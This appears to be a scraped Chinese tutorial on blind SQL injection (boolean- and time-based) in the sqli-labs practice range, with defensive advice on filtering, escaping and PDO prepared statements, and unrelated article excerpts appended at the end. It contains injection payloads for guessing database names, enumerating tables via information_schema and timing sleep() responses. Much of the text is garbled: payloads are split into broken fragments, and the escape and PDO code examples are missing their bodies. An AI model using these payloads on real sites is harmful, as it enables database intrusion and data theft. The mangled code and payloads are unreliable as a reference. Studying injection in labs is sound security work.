二、sql漏洞基礎 防範措施
在有些情況下,應用查詢後台使用了錯誤訊息遮蔽方法(比如@)遮蔽了報錯,
此時無法再根據報錯資訊來進行注入的判斷。
這種情況下的注入,稱為「盲注」
根據表現形式的不同,盲注又分為based boolean和based time兩種型別。
主要表現:
手動測試:
測試環境:sqlilabs注入練習靶場,kali,firefox
sql小知識展示:
length():獲取字串長度,通常用於獲取資料庫名的長度。所以根據以上知識,我們在不能根據錯誤資訊進行判斷的時候,就可以理由這種方式來猜解資料庫的名字等。database(); //得到資料庫名稱
substr(database(),1,1);//使用substr函式擷取結果中的值,從第乙個字元開始,擷取1個字元。
ascii(substr(database(),1,1)); 將擷取出來的字元,轉換成acsii碼,以便於後面做運算。
ascii(substr(database(),1,1))>97; //結果會為1或者0,也就是true or false
首先通過length函式獲取資料庫名的長度。當猜測的資料庫名長度為8時,頁面返回正常資訊(true)。測試語法如下:
然後更具substr和ascii兩個函式來依次猜解資料庫名中的每乙個字母。語法如下:
猜解第乙個:
),1,1))
>115--+
猜解第二個:
),2,1))
<115--+
.....
20table_name%
20from%
20information_schema.tables%
20where%
20table_schema=database()%
20limit%
200,1)
,1,1
))%3e100--+
利用同樣的方法可以依次列名甚至字段值等。但過程繁瑣,猜解費時費力,所以一般使用工具進行探測。
如果說基於boolean的盲注在頁面上還可以看到0 or 1的回顯的話
那麼基於time的盲注完全就啥都看不到了!
但還有乙個條件,就是「時間」,通過特定的輸入,判斷後台執行的時間,從而確認注入!
注入思路解析:
通過substr對database()的結果擷取第一位,然後判斷是否等於x,如果等於則為真,然後執行sleep(5),如果不等於則為假,則null, 然後通過sleep的現象來確認,依次類推,遍歷出所有的值。
測試步驟解析:
測試環境:sqlilabs注入練習靶場,kali,firefox
測試第一步,輸入任意id,發現頁面結果沒有任何變化,然後輸入id=1 和 id=1』 and sleep(3)–+,對比兩次的時間差別,發現差別在3秒左右,說明sleep(3)這個函式已經被執行了,說明存在此漏洞。
基礎資訊獲取息test payload:
1' and if ((substr((select database(
)),1,1))='a',sleep(5),null)--+ //注:mysql中if的用法:
if(條件,true返回,false返回)
通過不斷猜解,然後根據後台的響應時間來判斷對應的語句是否判斷成功。
對輸入進行嚴格的過濾和轉義
過濾:使用白名單或黑名單進行過濾
eg:str_replace(
"%","",$_post
['username'
]) //把post裡面的資料裡面含有%的替換成空
轉義:將一些特殊字元轉義為安全字元
eg:
function
escape
($link
,$data)if
(is_array
($data))
}return
$data
;}
使用預處理和引數化一般做法:使用pdo的prepare預處理(預處理+引數化)
eg:
$username
=$_get
['username'];
$password
=$_get
['password'];
trycatch
(pdoexception$e)
?>
SQL注入漏洞
sql注入漏洞曾經是web應用程式的噩夢,cms bbs blog無一不曾受其害。sql注入的原理 以往在web應用程式訪問資料庫時一般是採取拼接字串的形式,比如登入的時候就是根據使用者名稱和密碼去查詢 string sql select top 1 from user where username...
SQL注入漏洞
sql注入,就是通過把sql命令插入到web表單遞交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令,比如先前的很多影視 洩露vip會員密碼大多就是通過web表單遞交查詢字元暴出的,這類表單特別容易受到sql注入式攻擊 sql注入的發生 當應用程式使用輸入內容來構造動態sq...
sql注入漏洞
什麼是sql注入 通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通俗地講,它是利用現有應用程式,將 惡意 的sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,而...